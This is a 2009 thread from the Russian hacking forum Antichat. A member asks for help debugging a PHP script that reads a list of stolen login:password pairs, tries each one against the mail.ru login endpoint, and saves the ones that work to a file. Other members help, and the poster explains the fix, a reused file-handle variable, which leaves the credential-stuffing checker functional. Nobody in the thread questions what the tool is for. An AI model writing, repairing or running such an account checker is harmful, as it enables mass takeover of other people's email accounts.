Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

24.05.2009, 00:15
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме: 659306
Репутация:
34
|
|
Что не так? php
PHP код:
<?php
Error_Reporting(E_ALL & ~E_NOTICE);
set_time_limit(5);
$acc="la.txt";
$fp=@fopen($acc,"r");
while(!feof($fp)){
$account = trim(fgets($fp));
$ac = explode(":", $account);
$login = $ac[0];
$pass = $ac[1];
$domain="";
if(preg_match("/mail.ru/", $login)) {$domain="@mail.ru";}
elseif(preg_match("/bk.ru/", $login)) {$domain="@bk.ru";}
elseif(preg_match("/inbox.ru/", $login)) {$domain="@inbox.ru";}
elseif(preg_match("/list.ru/", $login)) {$domain="@list.ru";}
$login=str_replace($domain, "", $login);
$fp = fsockopen('win.mail.ru', 80, $errno, $errstr, 30);
if ($fp)
{
$data = "Login=$login&Domain=$domain&Password=$pass";
$headers = "POST /cgi-bin/auth HTTP/1.1\n";
$headers .= "Host: win.mail.ru\n";
$headers .= "Connection: close\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\n";
$headers .= "Content-Length: ".strlen($data)."\n\n".$data;
fwrite($fp, $headers);
$line='';
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
fclose($fp);
}
$auth=0;
$text="302 OK";
if(preg_match("/$text/i", "$line")) {$auth=1;} else {$auth=0;}
if($auth==1)
{
$file=fopen("base.txt", "a");
fwrite($file, "<br>$login@$domain:$pass</br>");
fclose($file);}
}
?>
Вылезают ошибки
Warning: feof(): 4 is not a valid stream resource in C:\xampplite\htdocs\index.php on line 8
Warning: fgets(): 4 is not a valid stream resource in C:\xampplite\htdocs\index.php on line 9
Что не так? Не могу понять... 
|
|
|

24.05.2009, 00:28
|
|
Познавший АНТИЧАТ
Регистрация: 01.12.2006
Сообщений: 1,769
Провел на форуме: 3718311
Репутация:
1118
|
|
а просто
тестить лень...
тут покопай http://ua2.php.net/feof
|
|
|

24.05.2009, 03:30
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме: 659306
Репутация:
34
|
|
Все, все решилось уже
|
|
|

24.05.2009, 04:47
|
|
Познавший АНТИЧАТ
Регистрация: 01.12.2006
Сообщений: 1,769
Провел на форуме: 3718311
Репутация:
1118
|
|
Ну так отпиши.. вдруг у когото будет таже трабла, ато как-то не правильно - заварил а выхлопа "0" =)
|
|
|

24.05.2009, 05:13
|
|
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме: 1754802
Репутация:
380
|
|
а собствено о чем отписывать если php сам все отписал? Из ошибки ясно видно что la.txt не было в дириктории со скриптом либо он был не доступен для чтения php.
|
|
|

27.05.2009, 02:11
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме: 659306
Репутация:
34
|
|
Пересекались переменные $fp. В какой-то момент скрипт начинал воспринимать переменную $fp (которая открывает сокет) как линк к файлу, и, понятное дело, сообщал, что такого файла он найти не может. После ренейма переменной все встало на свои места
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|